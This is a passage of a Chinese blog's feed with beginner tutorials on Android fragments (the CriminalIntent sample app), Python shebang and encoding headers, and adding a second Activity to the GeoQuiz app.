<link href="http://www.sqlsec.com/2017/09/android4.html"/>
<id>http://www.sqlsec.com/2017/09/android4.html</id>
<published>2017-09-29T03:11:11.000Z</published>
<updated>2017-10-11T19:47:13.000Z</updated>
<content type="html"><![CDATA[<p><center><img src="http://image.3001.net/images/20170930/15067752198147.png" alt="image"></center><br>fragment来是管理用户界面的,是现在安卓开发中主流的技术,所以从一开始就应该去尝试使用fragment<br><a id="more"></a></p><h1 id="fragment简介"><a href="#fragment简介" class="headerlink" title="fragment简介"></a>fragment简介</h1><p><code>fragment</code>是一种控制器对象,<code>activity</code>可委派它完成一些任务。这些任务通常就是管理用户界<br>面。受管的用户界面可以是一整屏或是整屏的一部分。<br>管理用户界面的<code>fragment</code>又称为<code>UI fragment</code>。它自己也有产生于布局文件的视图。<code>fragment</code><br>视图包含了用户可以交互的可视化UI元素。<br><code>activity</code>视图可预留供<code>fragment</code>视图插入的位置。如果有多个<code>fragment</code>要插入,<code>activity</code>视图也<br>可提供多个位置。 </p><h1 id="Gradle-更新依赖"><a href="#Gradle-更新依赖" class="headerlink" title="Gradle 更新依赖"></a>Gradle 更新依赖</h1><p>在<code>app</code>中添加新的依赖项,然后<code>build.gradle</code>文件会自动更新文件,如下:<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">dependencies {</div><div class="line"> compile fileTree(include: [<span class="string">'*.jar'</span>], dir: <span class="string">'libs'</span>)</div><div class="line"> androidTestCompile(<span class="string">'com.android.support.test.espresso:espresso-core:2.2.2'</span>, {</div><div class="line"> exclude group: <span class="string">'com.android.support'</span>, module: <span class="string">'support-annotations'</span></div><div class="line"> })</div><div class="line"> compile <span class="string">'com.android.support:appcompat-v7:25.3.0'</span></div><div class="line"> testCompile <span class="string">'junit:junit:4.12'</span></div><div class="line">}</div></pre></td></tr></table></figure></p><h1 id="删除模板代码创建新的Crime类"><a href="#删除模板代码创建新的Crime类" class="headerlink" title="删除模板代码创建新的Crime类"></a>删除模板代码创建新的Crime类</h1><p>将 <code>CrimeActivity</code> 的超类更改为 <code>FragmentActivity</code> ,同时删除由模板<br>生成的 <code>onCreateOptionsMenu(Menu)</code> 和 <code>onOptionsItemSelected(MenuItem)</code> 实现代码<br><code>CrimeActivity.java</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">CrimeActivity</span> <span class="keyword">extends</span> <span class="title">AppCompatActivity</span> <span class="title">FragmentActivity</span> </span>{</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title">onCreate</span><span class="params">(Bundle savedInstanceState)</span> </span>{</div><div class="line"> <span class="keyword">super</span>.onCreate(savedInstanceState);</div><div class="line"> setContentView(R.layout.activity_crime);</div><div class="line"> }</div><div class="line">}</div></pre></td></tr></table></figure></p><p>创建新的<code>Crime</code>类<br><code>Crime.java</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Crime</span> </span>{</div><div class="line"> <span class="keyword">private</span> UUID mId;</div><div class="line"> <span class="keyword">private</span> String mTitle;</div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="title">Crime</span><span class="params">()</span> </span>{</div><div class="line"> <span class="comment">// Generate unique identifier</span></div><div class="line"> mId = UUID.randomUUID();</div><div class="line"> }</div><div class="line">}</div></pre></td></tr></table></figure></p><p>为只读成员变量 <code>mId</code> 生成一个获取方法,为成员变量 <code>mTitle</code> 生成获取方法和设置方法<br><code>Crime.java</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Crime</span> </span>{</div><div class="line"> <span class="keyword">private</span> UUID mId;</div><div class="line"> <span class="keyword">private</span> String mTitle;</div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="title">Crime</span><span class="params">()</span> </span>{</div><div class="line"> mId = UUID.randomUUID();</div><div class="line"> }</div><div class="line"> <span class="function"><span class="keyword">public</span> UUID <span class="title">getId</span><span class="params">()</span> </span>{</div><div class="line"> <span class="keyword">return</span> mId;</div><div class="line"> }</div><div class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getTitle</span><span class="params">()</span> </span>{</div><div class="line"> <span class="keyword">return</span> mTitle;</div><div class="line"> }</div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setTitle</span><span class="params">(String title)</span> </span>{</div><div class="line"> mTitle = title;</div><div class="line"> }</div><div class="line">}</div></pre></td></tr></table></figure></p><h1 id="替换默认布局文件"><a href="#替换默认布局文件" class="headerlink" title="替换默认布局文件"></a>替换默认布局文件</h1><p><code>FrameLayout</code> 是服务于 <code>CrimeFragment</code> 的容器视图,下面使用<code>FrameLayout</code>代码来 替换 默认布局<br><code>activity_crime.xml</code><br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="tag"><<span class="name">FrameLayout</span> <span class="attr">xmlns:android</span>=<span class="string">"http://schemas.android.com/apk/res/android"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:id</span>=<span class="string">"@+id/fragment_container"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"match_parent"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"match_parent"</span></span></div><div class="line"><span class="tag">/></span></div></pre></td></tr></table></figure></p><h1 id="定义-CrimeFragment-的布局"><a href="#定义-CrimeFragment-的布局" class="headerlink" title="定义 CrimeFragment 的布局"></a>定义 CrimeFragment 的布局</h1><p><code>fragment_crime.xml</code><br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div></pre></td><td class="code"><pre><div class="line"><?xml version="1.0" encoding="utf-8"?></div><div class="line"><span class="tag"><<span class="name">LinearLayout</span> <span class="attr">xmlns:android</span>=<span class="string">"http://schemas.android.com/apk/res/android"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"match_parent"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"match_parent"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_margin</span>=<span class="string">"16dp"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:orientation</span>=<span class="string">"vertical"</span>></span></div><div class="line"></div><div class="line"> <span class="tag"><<span class="name">TextView</span></span></div><div class="line"><span class="tag"> <span class="attr">style</span>=<span class="string">"?android:listSeparatorTextViewStyle"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"match_parent"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:text</span>=<span class="string">"@string/crime_title_label"</span>/></span></div><div class="line"></div><div class="line"> <span class="tag"><<span class="name">EditText</span></span></div><div class="line"><span class="tag"> <span class="attr">android:id</span>=<span class="string">"@+id/crime_title"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"match_parent"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:hint</span>=<span class="string">"@string/crime_title_hint"</span>/></span></div><div class="line"></div><div class="line"> <span class="tag"><<span class="name">TextView</span></span></div><div class="line"><span class="tag"> <span class="attr">style</span>=<span class="string">"?android:listSeparatorTextViewStyle"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"match_parent"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:text</span>=<span class="string">"@string/crime_details_label"</span>/></span></div><div class="line"></div><div class="line"> <span class="tag"><<span class="name">Button</span></span></div><div class="line"><span class="tag"> <span class="attr">android:id</span>=<span class="string">"@+id/crime_date"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"match_parent"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"wrap_content"</span>/></span></div><div class="line"></div><div class="line"> <span class="tag"><<span class="name">CheckBox</span></span></div><div class="line"><span class="tag"> <span class="attr">android:id</span>=<span class="string">"@+id/crime_solved"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"match_parent"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:text</span>=<span class="string">"@string/crime_solved_label"</span>/></span></div><div class="line"></div><div class="line"><span class="tag"></<span class="name">LinearLayout</span>></span></div></pre></td></tr></table></figure></p><h2 id="完善-strings-xml-文件"><a href="#完善-strings-xml-文件" class="headerlink" title="完善 strings.xml 文件"></a>完善 strings.xml 文件</h2><p>因为<code>fragment_crime.xml</code>文件中@引入了新的id组件,所以得在<code>strings.xml</code>文件中 完善相关字符串的资源定义<br><code>strings.xml</code><br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="tag"><<span class="name">resources</span>></span></div><div class="line"> <span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"app_name"</span>></span>CriminalIntent<span class="tag"></<span class="name">string</span>></span></div><div class="line"> <span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"crime_title_hint"</span>></span>Enter a title for the crime.<span class="tag"></<span class="name">string</span>></span></div><div class="line"> <span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"crime_title_label"</span>></span>Title<span class="tag"></<span class="name">string</span>></span></div><div class="line"> <span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"crime_details_label"</span>></span>Details<span class="tag"></<span class="name">string</span>></span></div><div class="line"> <span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"crime_solved_label"</span>></span>Solved<span class="tag"></<span class="name">string</span>></span></div><div class="line"><span class="tag"></<span class="name">resources</span>></span></div></pre></td></tr></table></figure></p><h1 id="创建-CrimeFragment-类"><a href="#创建-CrimeFragment-类" class="headerlink" title="创建 CrimeFragment 类"></a>创建 CrimeFragment 类</h1><p><code>CrimeFragment</code>类继承<code>Fragment</code>类,新增一个 <code>Crime</code> 实例成员变量,实现 <code>Fragment.onCreate(Bundle)</code>方法,在<code>CrimeFragment.java</code>中,添加 <code>onCreateView(...)</code>方法的实现代码,从<code>fragment_crime.xml</code>布局中实例化并返回视图<br><code>CrimeFragment.java</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">package</span> com.bignerdranch.android.criminalintent;</div><div class="line"></div><div class="line"><span class="keyword">import</span> android.os.Bundle;</div><div class="line"><span class="keyword">import</span> android.support.v4.app.Fragment;</div><div class="line"><span class="keyword">import</span> android.text.Editable;</div><div class="line"><span class="keyword">import</span> android.text.TextWatcher;</div><div class="line"><span class="keyword">import</span> android.view.LayoutInflater;</div><div class="line"><span class="keyword">import</span> android.view.View;</div><div class="line"><span class="keyword">import</span> android.view.ViewGroup;</div><div class="line"><span class="keyword">import</span> android.widget.Button;</div><div class="line"><span class="keyword">import</span> android.widget.CheckBox;</div><div class="line"><span class="keyword">import</span> android.widget.CompoundButton;</div><div class="line"><span class="keyword">import</span> android.widget.EditText;</div><div class="line"></div><div class="line"><span class="keyword">import</span> <span class="keyword">static</span> android.widget.CompoundButton.*;</div><div class="line"></div><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">CrimeFragment</span> <span class="keyword">extends</span> <span class="title">Fragment</span> </span>{</div><div class="line"></div><div class="line"> <span class="keyword">private</span> Crime mCrime;</div><div class="line"> <span class="keyword">private</span> EditText mTitleField;</div><div class="line"> <span class="keyword">private</span> Button mDateButton;</div><div class="line"> <span class="keyword">private</span> CheckBox mSolvedCheckbox;</div><div class="line"></div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onCreate</span><span class="params">(Bundle savedInstanceState)</span> </span>{</div><div class="line"> <span class="keyword">super</span>.onCreate(savedInstanceState);</div><div class="line"> mCrime = <span class="keyword">new</span> Crime();</div><div class="line"> }</div><div class="line"></div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> View <span class="title">onCreateView</span><span class="params">(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState)</span> </span>{</div><div class="line"> View v = inflater.inflate(R.layout.fragment_crime, container, <span class="keyword">false</span>);</div><div class="line"></div><div class="line"> mTitleField = (EditText) v.findViewById(R.id.crime_title);</div><div class="line"> mTitleField.addTextChangedListener(<span class="keyword">new</span> TextWatcher() {</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">beforeTextChanged</span><span class="params">(CharSequence s, <span class="keyword">int</span> start, <span class="keyword">int</span> count, <span class="keyword">int</span> after)</span> </span>{</div><div class="line"></div><div class="line"> }</div><div class="line"></div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onTextChanged</span><span class="params">(CharSequence s, <span class="keyword">int</span> start, <span class="keyword">int</span> before, <span class="keyword">int</span> count)</span> </span>{</div><div class="line"> mCrime.setTitle(s.toString());</div><div class="line"> }</div><div class="line"></div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">afterTextChanged</span><span class="params">(Editable s)</span> </span>{</div><div class="line"></div><div class="line"> }</div><div class="line"> });</div><div class="line"></div><div class="line"> mDateButton = (Button) v.findViewById(R.id.crime_date);</div><div class="line"> mDateButton.setText(mCrime.getDate().toString());</div><div class="line"> mDateButton.setEnabled(<span class="keyword">false</span>);</div><div class="line"></div><div class="line"> mSolvedCheckbox = (CheckBox) v.findViewById(R.id.crime_solved);</div><div class="line"> mSolvedCheckbox.setOnCheckedChangeListener(<span class="keyword">new</span> OnCheckedChangeListener() {</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onCheckedChanged</span><span class="params">(CompoundButton buttonView, </span></span></div><div class="line"><span class="function"><span class="params"> <span class="keyword">boolean</span> isChecked)</span> </span>{</div><div class="line"> mCrime.setSolved(isChecked);</div><div class="line"> }</div><div class="line"> });</div><div class="line"></div><div class="line"> <span class="keyword">return</span> v;</div><div class="line"> }</div><div class="line">}</div></pre></td></tr></table></figure></p><p>视图生成后,引用<br><code>EditText</code> 组件并添加对应的监听器方法。<br><code>CrimeFragment.java</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">CrimeFragment</span> <span class="keyword">extends</span> <span class="title">Fragment</span> </span>{</div><div class="line"> <span class="keyword">private</span> Crime mCrime;</div><div class="line"> <span class="keyword">private</span> EditText mTitleField;</div><div class="line"> ...</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> View <span class="title">onCreateView</span><span class="params">(LayoutInflater inflater, ViewGroup container,Bundle savedInstanceState)</span> </span>{</div><div class="line"> View v = inflater.inflate(R.layout.fragment_crime, container, <span class="keyword">false</span>);</div><div class="line"></div><div class="line"> mTitleField = (EditText)v.findViewById(R.id.crime_title);</div><div class="line"> mTitleField.addTextChangedListener(<span class="keyword">new</span> TextWatcher() {</div><div class="line"></div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">beforeTextChanged</span><span class="params">(</span></span></div><div class="line"><span class="function"><span class="params"> CharSequence s, <span class="keyword">int</span> start, <span class="keyword">int</span> count, <span class="keyword">int</span> after)</span> </span>{</div><div class="line"> }</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onTextChanged</span><span class="params">(</span></span></div><div class="line"><span class="function"><span class="params"> CharSequence s, <span class="keyword">int</span> start, <span class="keyword">int</span> before, <span class="keyword">int</span> count)</span> </span>{</div><div class="line"> mCrime.setTitle(s.toString());</div><div class="line"> }</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">afterTextChanged</span><span class="params">(Editable s)</span> </span>{</div><div class="line"> }</div><div class="line">});</div><div class="line"> <span class="keyword">return</span> v;</div><div class="line">}</div><div class="line">}</div></pre></td></tr></table></figure></p><p><code>Fragment.onCreateView(...)</code> 方法中的组件引用几乎等同于 <code>Activity.onCreate(...)</code><br>方法的处理。</p>]]></content>
<summary type="html">
<p><center><img src="http://image.3001.net/images/20170930/15067752198147.png" alt="image"></center><br>fragment来是管理用户界面的,是现在安卓开发中主流的技术,所以从一开始就应该去尝试使用fragment<br>
</summary>
<category term="Android" scheme="http://www.sqlsec.com/categories/Android/"/>
<category term="Android" scheme="http://www.sqlsec.com/tags/Android/"/>
<category term="国光" scheme="http://www.sqlsec.com/tags/%E5%9B%BD%E5%85%89/"/>
</entry>
<entry>
<title>Python代码扫盲</title>
<link href="http://www.sqlsec.com/2017/09/pystart.html"/>
<id>http://www.sqlsec.com/2017/09/pystart.html</id>
<published>2017-09-29T01:35:27.000Z</published>
<updated>2017-09-30T03:56:22.000Z</updated>
<content type="html"><![CDATA[<p><img src="http://image.3001.net/images/20170929/15066764837870.png" alt=""><br>最近再看别人用Python写的解密脚本,顺便带着记录学习一下吧。<br><a id="more"></a></p><h1 id="Python头部标注"><a href="#Python头部标注" class="headerlink" title="Python头部标注"></a>Python头部标注</h1><h2 id="usr-bin-env-python"><a href="#usr-bin-env-python" class="headerlink" title="#!/usr/bin/env python"></a>#!/usr/bin/env python</h2><p>为了防止操作系统用户没有将<code>python</code>装在默认的<code>/usr/bin</code>路径里。当系统看到这一行的时候,首先会到<code>env</code>设置里查找<code>python</code>的安装路径,再调用对应路径下的解释器程序完成操作。</p><h2 id="usr-bin-python"><a href="#usr-bin-python" class="headerlink" title="#!/usr/bin/ python"></a>#!/usr/bin/ python</h2><p>告诉操作系统执行这个脚本的时候,调用<code>/usr/bin</code>下的<code>python</code>解释器</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p><code>#!/usr/bin/ python</code>相当于写死了<code>python</code>路径;<br><code>#!/usr/bin/env python</code>会去环境设置寻找<code>python</code>目录,<code>推荐</code>这种写法</p><h1 id="编码"><a href="#编码" class="headerlink" title="编码"></a>编码</h1><p>用来指定文件编码为utf-8<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"># coding=utf-8 </div><div class="line"></div><div class="line"># coding:utf-8</div><div class="line"></div><div class="line"># --coding:utf-8--</div><div class="line"></div><div class="line"># -*- coding:utf-8 -*-</div></pre></td></tr></table></figure></p><p>推荐使用<code># -*- coding:utf-8 -*-</code> </p>]]></content>
<summary type="html">
<p><img src="http://image.3001.net/images/20170929/15066764837870.png" alt=""><br>最近再看别人用Python写的解密脚本,顺便带着记录学习一下吧。<br>
</summary>
<category term="Python" scheme="http://www.sqlsec.com/categories/Python/"/>
<category term="国光" scheme="http://www.sqlsec.com/tags/%E5%9B%BD%E5%85%89/"/>
<category term="Python" scheme="http://www.sqlsec.com/tags/Python/"/>
</entry>
<entry>
<title>第二个Activity</title>
<link href="http://www.sqlsec.com/2017/09/android3.html"/>
<id>http://www.sqlsec.com/2017/09/android3.html</id>
<published>2017-09-24T16:00:00.000Z</published>
<updated>2017-09-30T03:56:16.000Z</updated>
<content type="html"><![CDATA[<p><img src="http://image.3001.net/images/20170929/15066771056239.png" alt=""><br>记录了不同的activity的数据传递以及界面的切换<br><a id="more"></a></p><h1 id="app需求"><a href="#app需求" class="headerlink" title="app需求"></a>app需求</h1><p>为GeoQuiz应用增加第二个activity。activity控制着当前屏幕界面,新增加的activity<br>将增加第二个用户界面,方便用户查看当前问题的答案,如图所示:<br><img src="http://image.3001.net/images/20170917/15056516967285.png" alt=""><br><img src="http://image.3001.net/images/20170917/15056517242897.png" alt=""> </p><h1 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h1><ul><li>创建新的activity及配套布局</li><li>从一个activity中启动另一个activity</li><li>在父activity(启动方)与子activity(被启动方)间传递数据</li></ul><h1 id="创建第二个-activity"><a href="#创建第二个-activity" class="headerlink" title="创建第二个 activity"></a>创建第二个 activity</h1><h2 id="完善-strings-xml"><a href="#完善-strings-xml" class="headerlink" title="完善 strings.xml"></a>完善 strings.xml</h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"prev_button"</span>></span>上一题<span class="tag"></<span class="name">string</span>></span></div><div class="line"> <span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"warning_text"</span>></span>你真的要这么做吗?<span class="tag"></<span class="name">string</span>></span></div><div class="line"> <span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"show_answer_button"</span>></span>偷看问题答案<span class="tag"></<span class="name">string</span>></span></div><div class="line"> <span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"judgement_toast"</span>></span>偷看答案不是好孩子<span class="tag"></<span class="name">string</span>></span></div><div class="line"> <span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"cheat_button"</span>></span>偷看<span class="tag"></<span class="name">string</span>></span></div></pre></td></tr></table></figure><h2 id="创建-CheatActivity-类"><a href="#创建-CheatActivity-类" class="headerlink" title="创建 CheatActivity 类"></a>创建 CheatActivity 类</h2><p>新建<code>activity</code>向导完成后,Android Studio应该已经打开了<code>layout</code>目录中的<code>activity_cheat.xml</code>。</p><h2 id="activity-cheat-xml"><a href="#activity-cheat-xml" class="headerlink" title="activity_cheat.xml"></a>activity_cheat.xml</h2><p>下面是<code>activity_cheat.xml</code>的布局配置文件,2个<code>Textview</code>和一个<code>Buton</code><br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div></pre></td><td class="code"><pre><div class="line"><span class="tag"><<span class="name">LinearLayout</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"368dp"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"495dp"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:gravity</span>=<span class="string">"center"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:orientation</span>=<span class="string">"vertical"</span></span></div><div class="line"><span class="tag"> <span class="attr">tools:layout_editor_absoluteX</span>=<span class="string">"8dp"</span></span></div><div class="line"><span class="tag"> <span class="attr">tools:layout_editor_absoluteY</span>=<span class="string">"-96dp"</span>></span></div><div class="line"></div><div class="line"> <span class="tag"><<span class="name">TextView</span></span></div><div class="line"><span class="tag"> <span class="attr">android:id</span>=<span class="string">"@+id/textView"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:padding</span>=<span class="string">"24dp"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:text</span>=<span class="string">"@string/warning_text"</span>/></span></div><div class="line"></div><div class="line"> <span class="tag"><<span class="name">TextView</span></span></div><div class="line"><span class="tag"> <span class="attr">android:id</span>=<span class="string">"@+id/answer_text_view"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:padding</span>=<span class="string">"24dp"</span></span></div><div class="line"><span class="tag"> <span class="attr">tools:text</span>=<span class="string">"Answer"</span>/></span></div><div class="line"></div><div class="line"> <span class="tag"><<span class="name">Button</span></span></div><div class="line"><span class="tag"> <span class="attr">android:id</span>=<span class="string">"@+id/show_answer_button"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:text</span>=<span class="string">"@string/show_answer_button"</span></span></div><div class="line"><span class="tag"> /></span></div><div class="line"> <span class="tag"></<span class="name">LinearLayout</span>></span></div></pre></td></tr></table></figure></p><p>这里第二个<code>TextView</code>这里使用了:<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">android:id="@+id/answer_text_view"</div></pre></td></tr></table></figure></p><p>这个命名空间方便显示了 <code>对</code> 或者 <code>错</code><br><strong>效果预览</strong><br><img src="http://image.3001.net/images/20170917/15056523254490.png" alt=""></p><h2 id="AndroidManifest-xml"><a href="#AndroidManifest-xml" class="headerlink" title="AndroidManifest.xml"></a>AndroidManifest.xml</h2><p>创建<code>QuizActivity</code>时,因使用了新建应用向导,向导已自动完成声明工作。同样,新建<code>activity</code>向导也自动声明了<code>CheatActivity</code><br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="tag"><<span class="name">activity</span> <span class="attr">android:name</span>=<span 